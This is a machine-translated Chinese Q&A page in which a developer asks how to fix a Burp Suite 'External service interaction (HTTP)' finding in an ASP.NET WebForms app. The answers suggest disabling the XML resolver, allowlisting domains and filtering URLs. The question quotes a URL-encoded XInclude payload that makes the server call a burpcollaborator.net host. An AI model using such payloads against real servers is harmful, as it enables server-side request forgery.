【问题标题】:How can I fix or prevent - External service interaction (HTTP)如何修复或防止 - 外部服务交互 (HTTP)
【发布时间】:2020-12-15 12:00:18
【问题描述】:

我收到了这个 burp 漏洞报告 - 外部服务交互 (HTTP)

XML 被注入到 URL 路径中。我想知道是否有人知道如何防止这种情况。 我正在使用带有 WebForms C# 的 Visual Studio 在 Web 应用程序中工作。

我在想也许可以通过 IIS 或 web.config 文件阻止它,但我不确定。


问题详情 可以诱导应用程序对任意域执行服务器端 HTTP 请求。载荷 在 URL 路径文件名中提交。此有效负载包含一些 XML,其 XInclude 表达式引用外部域上的 URL。

应用程序向指定域执行HTTP请求,表明XML解析器处理了注入的XInclude定义。

GET /EmployeeDetails/%3cuhz%20xmlns%3axi%3d%22http%3a//www.w3.org/2001/XInclude%22%3e%3cxi%3ainclude%20href%3d%22http%3a//o6vsilg7waiopz0impyw3z2cn3twho5ptgl3br0。 burpcollaborator.net/foo%22/%3e%3c/uhz%3e?RequestId=428 HTTP/1.1 接受编码:gzip,放气 接受:/ 接受语言:en 用户代理:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 连接:关闭

【问题讨论】:

  • 一定是xml命名空间引起的:xmlns
  • 你可以试试这个代码:XmlDocument xmlDoc = new XmlDocument(); xmlDoc.XmlResolver = null; xmlDoc.LoadXml(OurOutputXMLString);stackoverflow.com/questions/14230988/…

标签: c# asp.net visual-studio iis webforms


【解决方案1】:

外部服务交互或换句话说 SSRF 意味着 Web 服务器代表用户发出 GET 请求。在您的情况下,应用程序代表它向用户提供的 URL 发出 GET 请求,即 。根据您的 Web 应用程序功能,您可能会也可能不会阻止外部 URL。您可以按照以下任何步骤来防止这种情况发生,

  • 阻止列表或白名单域名
  • 阻止/过滤用户提供的 URL。
  • 防止 C# 代码从用户提供的 URL 发出 GET 请求

【讨论】:

  • 感谢您提供一些关于补救的宝贵见解。我已经搜索了几个小时,这是我发现的第一个列表,它实际上提供了一些有用的见解来解决。
  • @Jordan_Walters 您能否解释一下您为解决问题所做的代码更改?我在我的 .NET Web 应用程序中遇到了类似的问题。
  • @RSB 它最终成为 CloudFlare 中我们能够使用的设置。如果可能,我会看看您的 CDN 提供商是否有解决方案。
猜你喜欢
  • 2012-12-13
  • 1970-01-01
  • 2011-10-12
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多